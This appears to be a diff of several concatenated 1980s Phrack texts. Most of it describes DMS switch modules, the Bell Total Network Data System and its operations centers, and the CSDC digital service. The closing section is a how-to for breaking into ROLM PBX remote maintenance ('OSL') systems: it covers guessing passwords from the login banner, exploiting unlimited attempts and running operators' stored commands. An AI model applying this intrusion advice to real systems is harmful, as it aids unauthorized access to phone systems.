+putting them closer to a group of subscribers. Then central office services
+can be provided over shorter loops.
+
+  DMS offers remote switching with a bunch of remote modules in a bunch of
+sizes and capabilities. Some include SXS replacement or growth, Outside plant
+cable relief, and Office feature's.  The use of remote modules give the CO
+more floor space that would usually be used by the Line Concentrating Modules
+(LCMs), Main Distribution Frame (MDF), and cable equipment.  The advantage of
+these modules is that it extends the service radius of the CO, this means
+outside plant savings. Remote modules can be located up to 150 miles away
+without messing up transmissions.
+
+  Other advantages of the DMS system are that it allows integration between
+Transmission facilities and switching systems.  It's hardware & software is
+designed to give a full range of switching applications for Private Branch
+Exchange (PBX) business systems, local, toll, and local/toll requirements. The
+same Central Control Complex (CCC) and switching networks are used throughout
+the whole system.  The only difference between each system is the peripheral
+units, and software packages. It has a Maintenance and Administration Position
+(MAP) which is a integrated multifunction machine interface that switch
+maintenance, line and trunk network management, and service order changes can
+be carried out.
+
+  The software for the central processor is written in PROTEL, a high level
+pascal based language.  Peripheral processors use a XMS-Pascal software
+language.
+
+  DMS has a high line and trunk capacity. It has up to 100,000 lines on a
+DMS-100 or 60,000 trunks on a DMS-200.  It also gives up to 1.4 million
+two-way CCS through the switching network.  The processor can accept up to
+350,000 call attempts.
+
+  Here's a list of the DMS systems in use today:
+
+DMS-100 - is a class 5 local office with the ability to handle 1,000 to
+100,000 lines.  It can give basic telephone service or expanded to handle IBN
+custom calling features.  The DMS-100 MTX gives cellular radio services.  A
+local office can also be adapted to Equal Access End Office (EAEO).
+
+Remote Switching Center (RSC) - Ability to handle up to 5,760 lines.
+
+Remote Line Concentrating Module (RLCM) - Ability to handle up to 640 lines.
+It uses host Line Concentrator Module (LCM) that can be used by the RSC or
+directly by the host DMS-100.
+
+Outside Plant Module (OPM) - Ability to handle up to 640 lines. This also can
+be used by the RSC or directly by the host DMS-100.
+
+Subscriber Carrier Module (SCM-100) - There are three basic types of
+SCM-100's:
+   1- Subscriber Carrier Module Rural (SCM-100R) - This eliminates the central
+      office Central Control Terminal (CCT) by integrating directly into the
+      DMS-100 through the DMS-1 span lines.
+   2- Subscriber Carrier Module SLC-96 (SCM-100S) - This gives a direct
+      interface between DMS-100 and AT&T's SLC-96 digital loop carrier
+      systems.
+   3- Subscriber Carrier Module Urban (SCM-100U) - It's used as an interface
+      to the DMS-1 Urban.  The DMS-1 urban is a digital subscriber carrier
+      system modified for use in Urban areas.  It gives Plan Ordinary
+      Telephone Service (POTS) and special services between a central office
+      and residential and business communities. It has the ability to handle
+      576 lines of POTS and special services.
+
+DMS-200 - Has the ability to handle from a few hundred to 60,000 trunks.  This
+switch can also serve a Access Tandem (AT) function. The Traffic Operator
+Position System (TOPS) puts operator services into the DMS-200.  Operator
+Centralization (OC) allows a single operator location by using the TOPS
+positions to transfer operator services from other DMS-200 toll centers.  The
+Auxiliary Operator Services System (AOSS) let operator services on calls that
+need outside information (Such as Directory assistance).
+
+DMS-100/200 - Allows local and toll features described above but also includes
+a Equal Access End Office (EAEO)/Access Tandem (AT) combination.  It has the
+ability to handle up to 100,000 lines or 60,000 trunks.
+
+DMS-250 - This is a high capacity toll system for specialized common carriers
+needing tandem switching operations.
+
+DMS-300 - This is a toll system designed for international use. To my
+knowledge there are only two DMS-300 switches in use at this time.
+
+  DMS switches are divided into four "Functional" areas designed to do certain
+operations. These areas are:
+
+  1- Central Control Complex (CCC)
+  2- Network (NET)
+  3- Peripheral Modules (PM)
+  4- Maintenance and Administration (MAP)
+
+
+Here's a description of those areas.
+
+Central Control Complex
+
+Within the Central Control Complex (CCC), the main program in the switch
+controls the processing of calls, maintenance and administrative routines, and
+changes the activity for these routines to other areas of the switch. The CCC
+sends messages to the network, the maintenance and administrative areas trough
+message links and directs the functions to be run in those areas.
+
+Network
+
+The Network Modules (NMs) handle the routing of speech paths between the
+Peripheral Modules (PMs) and keep these speech connections for the rest of the
+call.  The network handles message and speech links between the PMs and the
+CCC.
+
+Maintenance and Administration
+
+Within the Maintenance and Administration includes Input/Output Controllers
+(IOCs) - IOCs interface local or remote input/output devices.  The I/O devices
+are used to do testing, maintenance, or administrative functions for the
+system.
+
+Peripheral Modules
+
+Peripheral Modules (PMs) are used as interfaces between digital carrier spans
+(DS-1), analog trunks, and subscriber lines.  The PMs are used for scanning
+lines for changes of circuit state, doing timing functions used for call
+processing, creating dial tones, sending, receiving signaling, and controlling
+information to and from the CCC, and checking the network.
+
+   Before 1984 only four types of PMs gave trunk interfaces to the DMS system;
+these include Trunk Modules (TMs), Digital Carrier Modules (DCMs), Line
+Modules (LMs), and Remote Line Modules (RLMs).  Since then ten more have been
+added, these include Digital Trunk Controller (DTC), Line Group Controller
+(LGC), Line Trunk Controller (LTC), Line Concentrating Module (LCM), Remote
+Switching Center (RSC), Remote Line Concentrating Module (RLCM), Outside Plant
+Module (OPM), Subscriber Carrier Module Rural (SCM-100R), Subscriber Carrier
+Module SLC-96 (SCM-100S), and Subscriber Carrier Module Urban (SCM-100U).
+
+Here's and explanation of those modules:
+
+Trunk Module
+
+The Trunk Module (TM) changes incoming speech into digital format, it has the
+ability to handle 30 analog trunks. The Pulse Code Modulation (PCM)
+information is combined with the trunks supervisory and control signals then
+transmitted at 2.56 Mb/s over speech links to the network.
+
+The TM also uses service circuits such as Multifrequency (MF) receivers,
+announcement trunks, and test circuits.  Each TM has the ability to interface
+30 analog trunks or service circuits to the network over one 32-channel speech
+link.  The TM is not traffic sensitive so each trunk can carry 36 CCS.
+
+Digital Carrier Module
+
+The Digital Carrier Module (DCM) gives a digital interface between the DMS
+switch and the DS-1 digital carrier.  The DS-1 signal consists of 24 voice
+channels.  The DCM takes out and puts in signaling and control information on
+the DS-1 bit streams which then makes them DS-30 32-channel speech links.  The
+DCM can interface five DS-1 lines; 5*24=120 voice channels; into four 32-
+channel speech links.  The DCM can carry a maximum of 36 CCS of traffic on
+each trunk.
+
+Line Module
+
+The Line Module (LM) gives an interface for a maximum of 640 analog lines and
+condenses the voice and signaling into two, three, or four DS-30, 32-channel
+speech links.  Four speech links have the ability to handle 3,700 Average Busy
+Season Busy Hour (ABSBH) CCS per LM.
+
+Remote Line Module
+
+The Remote Line Module (RLM) is a LM operating in a remote location from the
+DMS host.  The RLMs can be located up to 150 miles from the host office,
+depending on the transmission facilities.
+
+Digital Trunk Controller
+
+The Digital Trunk Controller (DTC) has the ability to interface 20 DS-1 lines.
+Then the DS-1 lines are linked to the network by a maximum of 16 DS-30 speech
+links; each trunk is able to handle 36 CCS.
+
+Line Group Controller
+
+The Line Group Controller (LGC) dose medium level processing tasks, with the
+ability to use host and remote subscriber line interfaces.  The LGC has the
+ability to use Line Concentrating Modules (LCMs), Remote Switching Centers
+(RSCs), Remote Line Concentrating Modules (RLCMs), and Outside Plant Modules
+(OPMs).
+
+The LGC can interface up to 20 DS-30 speech links from the LCMs or up to 20
+DS-1 links with the ability to serve RSCs, RLCMs, or OPMs.
+
+Line Trunk Controller
+
+The Line Trunk Controller (LTC) combines the DTC and LGC functions and gives a
+way to use all the equipment inside the office.  The LTC has the ability to
+handle the LCM, RSC, RLCM, OPM, and digital trunk interfaces.
+
+The LTC has the ability to give interfaces to a maximum of 20 outside ports
+from DS-30A speech links or DS-1 links to 16 network side DS-30 speech links.
+
+Line Concentrating Module
+
+The Line Concentration Module (LCM) when used with the LGC or LTC is just an
+expanded version of the line Module.  It can serve up to 640 subscriber lines
+interfaced with two to six DS-30A  speech links.  Using six speech links 5,390
+CCS can be handled per LCM.
+
+Remote Switching Center
+
+The Remote Switching Center (RSC) interfaces subscriber lines at a remote
+location to a DMS-100 host.  It has the ability to handle interface for 5,760
+lines and is used a replacements for dial offices or Private Branch Exchanges
+(PBXs).  It can handle 16,200 CCS with the use of 16 DS-1 links.
+
+The RSC consists of the following:
+
+Line Concentrator Module (LCM) - These modules do line interface function.
+They are the same as the LCMs that are used in the DMS-100 host.
+
+Remote Cluster Controller (RCC) - This controller gives DS-1/LCM interface,
+Local switching inside the remote, and Local intelligence and signaling when
+in ESA.
+
+Remote Trunking - Handles the use of RSC originating or terminating traffic
+for digital trunking off the RSC.  It can give trunking to a CDO co-located
+with the RSC or within the service range of the RSC, Private Automatic Branch
+Exchanges (PABXs), or Direct Inward Dialing (DID) trunks.
+
+Remote-off-Remote - Lets the RLCMs and OPMs connect to the RCC through DS-1
+interfaces. It lets RLCM and OPM subscribers to use the same lines to the host
+as the RSC subscribers.
+
+Emergency Stand-Alone (ESA) - If communication with the DMS-100 is lost this
+will allow you to call internal to the RSC.  It will give station-to-station
+and station-to-trunk calls for POTS, IBN, and electronic business sets.
+
+Remote Line Concentrating Module
+
+The Remote Line Concentrating Module (RLCM)  is just a LCM used is a remote
+location from the DMS-100 host.  The RLCM can handle 640 lines; this can is
+sometimes used as a replacement for CDOs or PBXs.
+
+Outside Plant Module
+
+The Outside Plant Module (OPM) is an outside plant remote unit. The OPM can
+handle 640 lines over six DS-1 links.
+
+Subscriber Carrier Module
+
+The Subscriber Carrier Module (SCM) gives a direct interface for remote
+concentrators.
+
+SCM-100R - It can interface up to five Northern Telecom DMS-1 Rural Remote
+Terminals (RTs).  A DMS-1 rural remote terminal can interface up to 256 lines.
+Communication between the RT and SCM- 100R is done through one or two span
+lines for voice and one protection line.
+
+SCM-100U - It can interface up to three DMS-1 Urban RTs.  A DMS-1 Urban can
+interface up to 576 POTS or special service lines.  Communication from the RT
+to the SCM-100U us done through a maximum of eight DS-1 links.
+
+SCM-100S - It can interface up to four Mode I (non-concentrated) SLC-96
+systems or up to six Mode II (concentrated) systems.  A SLC-96 can give
+interface for up to 96 lines.
+
+The SCM-100 takes away the need for central concentrating terminals and analog
+line circuits at the host.
+
+Operator Features
+
+With the use of DMS-200 or DMS 100/200 switch, operator features are available
+by the following:
+
+Traffic Operator Position System (TOPS)
+Operator Centralization (OC)
+Auxiliary Operator Service System (AOSS)
+
+Traffic Operator Position System (TOPS) gives many operator function on inward
+and outward calls.  The TOPS integrates the operator system with the DMS-200
+or DMS-100/200 toll switch.
+
+One voice and one data circuit are needed for each operator position.  The
+voice circuit is connected to a port of a three-port conference circuit.  The
+other two ports are connected to the calling and called parties.  The data
+circuit is used for a digital modem and is used to transmit data punched in by
+the operator to the CCC for processing.
+
+Operator Centralization
+
+Operator Centralization (OC) lets the operator use the services given by the
+DMS-200 or DMS-100/200 with TOPS.  With OC operator traffic from surrounding
+DMS sites can be routed to a central host site.

+Auxiliary Operator Services System
+
+The Auxiliary Operator Services System (AOSS) is made to handle directory
+assistance, intercept, and that type of operator services, automatic call
+distribution, call processing, call detail recording, and operator
+administration functions for other operator services that do not need call
+completion to a called party.  AOSS position uses the same hardware as the
+TOPS links to the switch.
+
+Equal Access
+
+Equal Access (EA) is accessible through DMS switches with the addition of
+software packages.  Both Equal Access End Office (EAEO) for the DMS-100 and
+Access Tandem (AT) for the DMS-200 provide equal access features.

+DMS-100 EAEO
+
+The DMS-100 EAEO gives direct access to interLATA (Local Access and Transport
+Area) carriers Point of Presence (POP) inside the LATA.  The DMS-200 AT gives
+a traffic concentration and distribution function for interLATA traffic
+originating  or terminating inside a LATA. It allows the following:
+
+10XXX and 950-1XXX dialing
+presubscription dialing
+equal access and normal network control signaling
+Automatic Number Identification (ANI) on all calls
+custom calling services
+
+Common Channel Interoffice Signaling
+
+Common Channel Interoffice Signaling (CCIS) uses a separate data link to
+transmit signaling messages between offices for many trunks and trunk groups.
+There are two types of CCIS available in the DMS-200 or DMS-100/200, Banded
+Signaling (CCIS-BS) and Direct Signaling (CCIS-DS).
+
+CCIS-BS is for interoffice trunk signaling to give information on digits
+dialed, trunk identity, and other class and routing information.  This kind of
+trunk signaling takes less time to setup calls and put's an end to Blue
+Boxing.
+
+CCIS-DS is used to transfer call handling information past what is required
+for trunk setup.  This type of signaling lets calling card validation,
+mechanized calling card services and billed number screening to be used.
+
+Cellular Mobile Radio Service
+
+Cellular Mobile Radio Service is possible with the DMS-100 Mobile Telephone
+Exchange (MTX).  The MTX has the ability to serve from a few hundred to over
+50,000 people in up to 50 cells.

+
+                        THE TOTAL NETWORK DATA SYSTEM
+
+
+                               BY DOOM PROPHET
+
+
+
+
+    The Total Network Data System is a monitoring/analysis network used by
+several offices within the Telco to analyze various levels of switching
+systems in relation to maintenance, performance, and future network planning
+purposes. The systems and the offices that use them will be described in
+detail in the following text.
+
+
+    All switching entities that are in one particular serving area collect
+traffic information that is classified in three ways: peg count, overflow, and
+usage. Peg count is a count of all calls offered on a trunk group or other
+network component during the measurement interval, which is usually one hour.
+It includes calls that are blocked, which is classified as overflow traffic.
+The other measurement types that the TNDS network analyzes and collects are as
+follows:
+
+    Maintenance Usage (for 1ESS, 2ESS, 5XB, 1XB, XBT)
+
+    Incoming Usage (for 1E, 2E, 4AETS)
+
+    All trunks busy (SxS)
+
+    Last Trunks Busy (SxS)
+
+    Completions (SxS, 5XB, XBT, 1XB)
+
+    Incoming Peg Count (DMS)
+
+    Maintenance Busy Count (2E, 3E)
+
+    Detector Group Usage (SxS, 5XB, XBT, 1XB)
+
+ In ESS and DMS offices, traffic data is collected by the central processor of
+the switch. In electomechanical offices such as crossbar, a Traffic Usage
+Recorder is used to scan trunks and other components about every 100 seconds,
+counting how many are in use. This data when compiled is sent to the EADAS
+system, which is located in the Operating Company's Network Data Collection
+Centers and runs on a minicomputer. 4ESS and 4Xbar toll offices do not use
+EADAS, but their own system called the Peripheral Bus Computer for traffic
+data analysis. After receiving the traffic data from up to 80 switching
+offices, EADAS performs two basic functions:  It processes some data in near
+real time (shortly after it is received) to provide hourly and half hourly
+reports and a short term database for network administrators. It also collects
+and summarizes data that it will pass on to the other TNDS systems via data
+links or magnetic tape.
+
+    Three other systems receive directly from EADAS. These systems are ICAN,
+TDAS, and EADAS/NM. ICAN stands for Individual Circuit Analysis plan and is
+used to study individual circuits in central office equipment that have been
+specified by network administrators.
+
+    TDAS is the Traffic Data Administration System, which formats traffic data
+for use by the remaining downstream systems. ICAN and EADAS/NM are the only
+two systems with data links to EADAS that don't have their data formatted by
+TDAS before reception. TDAS is run on a mainframe in the NDCC and can be
+thought of as a distribution facility for the traffic data. EADAS/NM is used
+to watch switching systems and trunk groups designated by network managers,
+and reports existing or anticipated congestion on a display board at the
+Network Management Centers, where the system is located. Problems can be
+analyzed with this system and dealt with within a short period of time after
+they occur.
+
+    Central Office Reporting Systems
+    --------------------------------
+
+    There are five TNDS engineering and administrative systems that provide
+operating company personnel with reports about CO switching equipment. These
+are the LBS, 5XBCOER, SPCSCOER, ICAN, and SONDS. LBS, the Load Balance System,
+helps assure that the customer traffic load is uniformly distributed over each
+switching system. It minimizes congestion on the concentrators, which allow
+subscribers to share the equipment in the switch. The LBS analyzes traffic
+data coming to it from TDAS to determine the traffic load on each line group
+that the system serves. LBS generates reports used by the NMC to determine
+line groups that can have new incoming subscriber lines assigned to them. LBS
+also does a load balance indexes for the entire operating company, indicating
+how effectively each CO has avoided congestion.
+
+    Crossbar #5 Central Office Equipment Reports (5XBCOER) and Stored Program
+Control Systems COER used for 1, 2, and 3 ESS offices, analyze traffic data to
+indicate the overall service provided by the switching system and to tell how
+much of its capacity is being used. This info helps determine if new equipment
+is needed.
+
+    ICAN, which was described briefly above, detects switching system
+equipment faults by identifying abnormal load patterns on individual circuits.
+A series of reports printed at the Network Administration Center helps network
+administrators analyze individual circuit usage and verify circuit grouping.
+ICAN is located at the BOC main computer center along with 5XBCOER.
+
+    The fifth CO equipment reporting system is called the Small Office Network
+Data System, or SONDS. SONDS performs a full range of data manipulation
+functions, and is used to provide economically the full TNDS features for step
+by step offices. Step offices send data directly to this system, and it is not
+formatted by EADAS or TDAS, as it doesn't go through these systems. Weekly,
+monthly, exception and on demand reports are automatically distributed by
+SONDS to the NAC personnel.
+
+
+    Trunk Network Reporting Systems
+    -------------------------------
+
+    These systems are parts of the TNDS used by the Circuit Administration
+Center to support trunk servicing and forecasting. The Trunk Servicing System
+helps trunk administrators develop short term plans to make the best use of
+the trunks that are already in use. It receives and processes data received
+from TDAS and computes offered load. Offered load is the amount of traffic a
+trunk group would have carried had the number of circuits been large enough to
+handle the load without trunk blocking (giving the caller a re-order or all
+circuits busy recording). TSS produces weekly reports showing underutilization
+of trunks and below grade of service trunk groups which do not have enough
+trunks in them. The CAC uses these reports to add or disconnect trunks
+according to what traffic requirements exist.
+
+    The Traffic Routing and Forecasting System, replacing the Trunk
+Forecasting System, forecasts message trunk requirements for the next five
+years. Major conversions and similar network changes are all taken into
+consideration when determining the future traffic needs. TRFS receives data
+from EADAS, TDAS, and TSS and is located at the Operating Company computer
+center.
+
+
+    Since TDAS and some of the downstream TNDS systems need much of the same
+information, that information is maintained in a system called Common Update.
+In this manner, some data does not have to be duplicated in each individual
+system. Some of the information includes the configuration of switching
+equipment and the trunk network and specifications on traffic registers for
+central offices. Numbers recorded by each register are treated consistently by
+each system that uses the Common Update data base. There is an update base for
+trunking, referred to as CU/TK, and an update on equipment known as CU/EQ. The
+trunking part of the Operating Company's data base is coordinated by the Trunk
+Records Management System.
+
+    Since the TNDS systems are so important to the proper operation of the
+network, the CSAR (Centralized System For Analysis and Reporting) is used to
+monitor the entire TNDS performance. The NDCC, the NAC, and the CAC are
+provided with measurements of the accuracy, timeliness, and completeness of
+the data flow through TNDS from beginning to end. It doesn't analyze data from
+EADAS/NM, SONDS, or TRFS.
+
+
+
+
+    BOC Operations Centers
+    ----------------------
+
+    NAC-Network Administration Center. Responsible for optimum loading, and
+utilization of installed COE. Performs daily surveillance of COs and trunk
+groups to ensure service objectives are being met. The NAC Reviews profiles of
+office load relating to anticipated growth. They work with NSEC to initiate
+work orders to increase equipment in use. The systems they use are EADAS,
+SPCSCOER, CSAR, and SONDS.
+
+   NMC-Network Management Centers. The NMC keeps the network operating
+efficiently when unusual traffic patterns or equipment failures would
+otherwise result in congestion. The NMC analyzes network performance and
+prepares contingency plans for peak days, telethons, and major switch
+failures. They monitor a near real time network performance data to identify
+abnormal situations. The system they use is EADAS/NM.
+
+    CAC-Circuit Administration Center. The CAC ensures that in service trunks
+meet current as well as anticipated customer demands at acceptable levels of
+service. For planned servicing, the CAC compares current traffic loads with
+forecasted loads for the upcoming  busy season. If the loads are consistent,
+the CAC issues the orders to provide the forecasted trunks. When
+inconsistencies occur, they examine the variation, develop modified forecasts,
+and issue orders based on the new forecast. They review weekly traffic data to
+identify trunk groups that need additions and issue the necessary trunk
+orders. The systems they use are TSS, TRFS, and CSAR.
+
+    NSEC-Network Switching Engineering Center. They plan and design the
+network along with the CAC. NSEC develops a forecast of loads for traffic
+sensitive switching equipment, sets office capacities, and determines relief
+size and timing.
+
+
+    For long range planning, the following offices are utilized.
+
+    TNPC-Traffic Network Planning Center. The TNPC determines the most
+economic growth and replacement strategies. They handle future network
+considerations over a 20 year period for tandem systems, operator services
+networks, interconnecting trunks, and switching terminations to accommodate
+the trunks.
+
+    WCPC-Wire Center Planning Center. This office does the same as the TNPC,
+but their jurisdiction includes local switches, the subscriber network, and
+interoffice facilities. They have the numbers, types, and locations of
+switches and homing arrangements. They also keep track of alternate routes,
+tandem centers, etc. Both the TNPC and WCPC provide the CAC and NSEC with
+office and network evolution plans for 20 years.
+
+
+    District based maintenance and administration operations are handled by
+the NAC, RCMAC, and the SCC. These can cover 240 square miles of serving area.
+
+
+    Network Operations Centers
+    --------------------------
+
+    The highest level of network operations is the Network Operations Center,
+located in the AT&T Long Lines HQ in Bedminster, NJ. The main computers used
+by the NOC are in Netcong, about 25 miles away, along with some backups. The
+NOC are responsible for interregional coordination between the 12 RNOCs, 27
+NMCs, and 2 RNMCs in Canada; for monitoring the top portion of toll switches
+(all class 1 Regional Centers, 2 Canadian, about 70 class 2 Sectional Centers,
+200 Primary centers, some class 4 Toll centers); for monitoring of the
+international gateways, and the CCIS network for these switching systems. The
+STP signalling links connect STPs to each other, to switches, and to a
+centralized database called an NCP (Network Control Point) of which access is
+given to switches directly via CCIS.
+
+The Data Transfer Point, which is a data switch that furnishes the NOC with a
+flow of monitoring information for all key toll switches, also gives them
+information about CCIS STPs and the IOCCs that they monitor.
+
+    The operating system supporting the NOC is the NOCS (the S being System),
+which is configured with the DTP, a wall display processor, graphics
+processors, receive only printers, and CRT terminals for the technicians. The
+NOC also uses EADAS/NM through the DTP. Both the NOCS and the DTP run Unix
+operating systems.
+
+
+    The second highest level of these operations centers are the RNOCs, or
+Regional Network Operations Centers. The 12 RNOCs monitor the CCIS network and
+coordinate the 2-3 NMC's activities for its region. The RNOCs use the EADAS/NM
+system and something called NORGEN, Network Operations Report Generator, that
+prints out reports from EADAS's traffic data.
+
+    The first or lowest level of these centers is the Network Management
+Centers. There were 27 EADAS/NM supported NMCs across the United States as of
+1983. The NMC was described above, as well as the systems it used.

+Preface:
+========
+
+     This is the second part of my CSDC (Circuit Switched Digital Capability)
+series, the first being in PHRACK X. It is suggested that you read the first
+part and also the file on PACT in PHRACK XI. If I feel the material was not
+covered completely, I will make a third addition to this file.
+
+
+Hardware Interfaces
+===================
+
+     A NCTE or equivalent network interface equipment, located on the customer
+premises, is required to provide the CSDC feature for a customer. The NCTE or
+an equivalent circuit, located on the customer's premises, is required to
+provide TCM (Time-Compression-Multiplexing) transmission on the 2-wire
+subscriber loop. The NCTE also has a remote loopback for testing from CSDC
+central office.
+     Dedicated 2-way CSDC trunk circuits are provided via DCT (Digital Carrier
+Trunk) combined alternate data/voice (CADV) units with DCT supervision. MF and
+CCIS signalling is allowed on these trunks. They provide signalling, switching
+and trunking functions between 1A ESS switch and other CSDC offices. To
+provide CSDC, the DCT bank must be equipped with alarm and digroup control
+units. A Digital Office Timing Supply (DOTS) is needed to provide network
+synchronization for the CSDC feature. A minimum of 3 CSDC maintenance circuits
+are needed for the CSDC feature to operate. The circuit provides digital
+signals for testing CSDC trunks and loops. They also provide a test
+termination for incoming CSDC calls. If an office has superimposed ringing for
+4 and 8 party lines, these ringing circuits may be used for loop testing with
+the maintenance circuit.
+
+Remote Switching System
+=======================
+The RSS remote frame contains eight special service slot positions that can be
+used for D4 type plug in units (basically allows the RSS to have CSDC
+abilities). This allows the CSDC TRXS (Time Compression Multiplexing Remote
+Subscriber Exchange) channel units to be housed in the RSS frame. The CSDC
+feature is provided via the RSS T1 carrier facilities. The T1 carriers for
+CSDC service terminate with position 1 and 0 at the RSS. A ringing and tone
+plant is required in the RSS office to ring the phones of special service
+channel unit subscribers.
+
+
+Operation of the CSDC
+=====================
+
+     An off-hook origination initiates the seizure of an originating register.
+A line translation is performed and the CSDC indicator is received from the
+Line Equipment Number Class (LENCL) and is stored in the register. A touch
+tone service receiver is connected to the line and dial tone is applied. Upon
+receiving a digit, dial tone is removed. If the first digit is a '#', digit
+collection is set up to collect 2 more digits. Upon receipt of the 2 digits
+(99), the PACT (Prefix Access Code Translator) is indexed via the dialed
+digits to determine what service has been requested. If the line cannot have
+CSDC, an error message is sent. The AB digits (carrier selection) are
+collected next. Once the AB digits have been determined to be valid, the CCOL
+(Chart Column) is received. The CCOL merely is a code to tell the PACT what is
+to be done. Once the AB digits and the CSDC CCOL is received, the original
+register is overwritten with the CSDC CCOL. The CSDC office then sends a bit
+down the line to tell the equipment that a CSDC call is being processed.
+     The call is now reinitialized to appear as though no digits have been
+collected. Digit collection proceeds until the proper number of digits (7 to
+10) has been received. An AMA register is seized at the end of the dialing.
+The call is then routed according to the dialed digits on a CSDC outgoing
+trunk. Answer guard timing for CSDC calls is 800 ms. Upon answer, the answer
+time is recorded in the AMA register.
+     An outpulsing trunk is seized and a POB is hunted. If an outgoing trunk
+and outpulsing device are needed, one will be hunted. Information on the trunk
+is stored and a transfer to the outpulsing routine (MF or CCIS) is done. A
+verification insures that both calling and called parties are CSDC allowed. If
+they are not, the call is routed to an Automatic Intercept Service (AIS).
+     For MF outpulsing, a junior register is seized, the outgoing trunk is put
+into the proper states, and start pulsing signal detection is done followed by
+digit outpulsing. For CCIS, call processing is the same as a normal call but a
+CCIS continuity check is performed while on the on-hook state.
+     For an incoming call, the CSDC bit from the Trunk Class Code (TCC) is
+stored in the incoming register and a CSDC count is pegged. Digit collection
+is performed and a terminating DN translation is performed. Ringing is applied
+normally and once it has been answered, the incoming trunk is put in the
+off-hook state to pass answer to the next office.
+     Standard disconnect and trunk guard timing is performed on CSDC calls
+when the called or calling party goes off-hook after a talking path has been
+established.
+
+
+Standard CSDC Dynamics
+======================
+
+Call forwarding codes dialed after the CSDC code result in reorder.
+
+The Call waiting option is also suspended when a CSDC call is in progress.
+Busy tone is given to POTS call that terminates to a CSDC connection. Busy
+tone is also given to a calling CSDC party if it encounters a busy line.
+
+In order to have a 800 CSDC feature, the office must have CCIS INWATS ability
+in the OSO (Originating Screening Office).
+
+Dialing 911 after the CSDC code is allowed, but 411/611 calls are routed to
+error messages.
+
+
+NCTE (Network Channel Terminating Equipment)
+============================================
+
+As covered in Part 1, the NCTE is the equipment that you need to have CSDC.
+The NCTE is a piece of hardware that is connected to the CO loop and a
+terminal. On the terminal, there are 8 jacks for 8 pins on the NCTE. The
+functions of each pin are as followed.
+
+     1 - TRANSMISSION DATA
+     2 - TRANSMISSION DATA
+     3 - MODE CONTROL
+     4 - MODE CONTROL
+     5 - TIP VOICE
+     6 - RING VOICE
+     7 - RECEIVED DATA
+     8 - RECEIVED DATA
+
+==============================================================================
+
+
+This ends PART II of the CSDC series. Since Taran King was in such a hurry, I
+will finish the 3rd file with SCCS integrations, loop structure and RSS
+structures.
+
+If you have any questions about this file or any other file, please leave me a
+message on either...

+
+
+   Prologue:
+
+
+    This file is for all those people who are running across the OSL system
+   and are constantly confused about getting in and what to do once you're in.
+   Because of the trouble I had getting a manual on the system from ROLM, I
+   was forced to write this file from what I already know, and what I can do
+   on the few systems I have gained access to. Since this file is far from
+   complete (without a manual, most are), I'll leave it to you, to write up
+   future files on the OSL system. Credit goes to Taran King who got me
+   interested in writing the file, and who tried to help me get a manual (my
+   social engineering leaves something to be desired).
+
+
+    What is OSL:
+
+     Actually it has been termed as Operating Systems Location, Off Site
+    Location and a lot of other names. Which? I'm not sure. What I can tell
+    you is that it's an operating system running on an IBM (?) that does
+    remote maintenance operations on a ROLM PBX (Referred to as CBX I
+    believe). As I said, this file is not too complete, and I was unable to
+    get very much information about the system, or the PBX system itself. I
+    believe Celtic Phrost wrote a file on ROLM PBX systems, and you might want
+    to read that or other ROLM files for more information.
+
+
+
+    Getting In:
+
+      If you have trouble logging in, try changing your parity. Also, this
+    system will only except uppercase. The first thing you should see when you
+    get a carrier is the following:
+
+
+
+MARAUDER10292  01/09/85(^G) 1 03/10/87  00:29:47
+RELEASE 8003
+OSL, PLEASE.
+?
+
+
+      MARAUDER10292 is the system identification. Most of the time, this will
+    be the name of the company running the OSL system, but occasionally you
+    will find a system, you will not be able to identify. CN/A it. It might be
+    your only chance of gaining access to that particular system.
+
+      01/09/85. This is a mystery to me. It could be the time that the system
+    first went up (but sounds unlikely), the date of the current version of
+    the OSL operating system...etc.
+
+      The ^G is a Control-G, and rings a bell at your terminal. I do not know
+    why, but it does...
+
+      The rest of the text on that line is the current time and date.
+
+      RELEASE 8003 could be, again, the revision number of the software
+    package. I don't know.
+
+      OSL PLEASE means that you can now attempt to login.
+
+      The ? is your prompt. Remember the uppercase only. Naturally we are
+    going to type "OSL" to login. Once this is done, we will receive this
+    prompt:
+
+KEY:
+
+      This is the password prompt, and so far as I can tell, can be anything
+    up to, say, 20 characters long. Obviously we are going to try MARAUDERS or
+    MARAUDER as a password. Here's the tricky part. Some systems do not tell
+    you whether the password was right or not. Sometimes, if it's right, you
+    will get a ? prompt again. If not, you will get an ERROR msg. It depends
+    on the system. Each system is set up a different way. Also, some systems
+    require all alphabetics, while others require alphanumerics and sometimes
+    they will require both. Again, you may or may not get an ERROR message.
+    You can ABORT anything at any time by sending a BREAK. One good thing
+    about the system is that you have, so far as I can tell, unlimited
+    attempts at guessing the "KEY". Also, Druidic Death says that "," is a
+    default, or is commonly used (I don't remember which). Unfortunately, I
+    have never been able to get this to work myself.
+
+
+    Your IN!:
+
+      Okay, first thing we need to do is type HELP. If you have access, which
+    again, differs from system to system, you will get a menu that looks like
+    so. (Maybe not, but I am through telling you how strange this system is.)
+
+
+
+PLEASE ENTER ONE OF THE FOLLOWING COMMANDS
+
+LREP - DISPLAY REPORT MENU
+LST  - LIST REPORT COMMANDS CURRENTLY STORED
+ACD  - ADD AN ACD COMMAND
+DEL  - DELETE AN ACD COMMAND
+MOD  - MODIFY AN ACD COMMAND

+
+
+   Commands Explained:
+
+    Okay, so now we'll go through all of these commands and show you what they
+   do, and of course, explain each example.
+
+
+   LREP:
+
+    LREP lists a number of reports which can be ran. Here is an example:
+
+
+REP# NAME                SYNTAX

+ 7 - CUMULATIVE AGENT    ACD 7,(FIRST),(LAST),(START),(INT),(#INT),(CLR),(REP)
+
+
+   Current Status   : Gives you the current status of the PBX system.
+   Cumulative Status: Quite obvious.
+   Trunk Display Grp: Obvious again.
+   Position Prfrmnce: ???
+   Abbreviated Agent: ???
+   Daily Profile    : Gives you a report of how the PBX ran on date 00/00/00.
+   Cumulative Agent : ???
+
+
+   ACD:
+
+    I purposely skipped all the other commands, since they are pretty obvious.
+   They all have to do with adding commands to the buffer, modifying them and
+   running them..etc. If you get access to a system, it would be wise to LST
+   all of the commands that the operators have been running and then try them
+   yourself. No biggy, but oh well. The ACD command activates a command and
+   lists the desired report on your terminal. While the whole thing can be
+   typed on one line, you can just type ACD <REPORT NUMBER> <CR> and do it
+   step by step (a little easier to get the hang of it). Now we'll go through
+   this, and show you an example of building a command to list the Trunk
+   Display Report.

+
+                         WRITTEN BY PHANTOM PHREAKER
+
+
+    This file is meant to be an addition to the first file that was included
+in Phrack Inc. Issue XI. It is assumed that the reader has read and understood
